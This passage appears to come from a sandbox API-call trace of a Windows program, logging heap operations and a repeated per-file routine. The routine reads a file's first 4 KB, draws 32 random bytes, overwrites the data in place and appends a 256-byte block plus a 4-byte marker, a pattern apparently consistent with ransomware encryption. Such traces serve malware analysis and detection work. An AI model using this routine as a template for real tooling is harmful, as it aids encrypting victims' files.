hHeap=0x540000) returned 1 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.735] GetProcessHeap () returned 0x540000 [0084.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.736] GetProcessHeap () returned 0x540000 [0084.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.736] SetFilePointerEx (in: hFile=0x894, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.736] WriteFile (in: hFile=0x894, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.736] WriteFile (in: hFile=0x894, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.736] GetProcessHeap () returned 0x540000 [0084.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.736] GetProcessHeap () returned 0x540000 [0084.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.736] GetProcessHeap () returned 0x540000 [0084.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.736] CloseHandle (hObject=0x894) returned 1 [0084.740] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 71 [0084.740] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.740] ReadFile (in: hFile=0x898, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.740] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.740] GetProcessHeap () returned 0x540000 [0084.740] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.740] GetProcessHeap () returned 0x540000 [0084.740] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.740] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.740] GetProcessHeap () returned 0x540000 [0084.740] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.740] ReadFile (in: hFile=0x898, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.789] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.789] WriteFile (in: hFile=0x898, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.789] GetProcessHeap () returned 0x540000 [0084.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.790] GetProcessHeap () returned 0x540000 [0084.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.790] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.791] GetProcessHeap () returned 0x540000 [0084.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.792] GetProcessHeap () returned 0x540000 [0084.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.793] GetProcessHeap () returned 0x540000 [0084.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.794] GetProcessHeap () returned 0x540000 [0084.794] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.794] GetProcessHeap () returned 0x540000 [0084.794] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.794] GetProcessHeap () returned 0x540000 [0084.794] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.794] GetProcessHeap () returned 0x540000 [0084.794] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.794] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.794] WriteFile (in: hFile=0x898, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.794] WriteFile (in: hFile=0x898, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.794] GetProcessHeap () returned 0x540000 [0084.794] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.794] GetProcessHeap () returned 0x540000 [0084.794] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.794] GetProcessHeap () returned 0x540000 [0084.794] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.794] CloseHandle (hObject=0x898) returned 1 [0084.796] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 72 [0084.796] SetFilePointerEx (in: hFile=0x89c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.796] ReadFile (in: hFile=0x89c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.796] SetFilePointerEx (in: hFile=0x89c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.796] GetProcessHeap () returned 0x540000 [0084.796] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.796] GetProcessHeap () returned 0x540000 [0084.796] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.796] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.796] GetProcessHeap () returned 0x540000 [0084.796] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.796] ReadFile (in: hFile=0x89c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.845] SetFilePointerEx (in: hFile=0x89c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.849] WriteFile (in: hFile=0x89c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.851] GetProcessHeap () returned 0x540000 [0084.851] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.851] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.852] GetProcessHeap () returned 0x540000 [0084.852] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.852] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.853] GetProcessHeap () returned 0x540000 [0084.853] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) 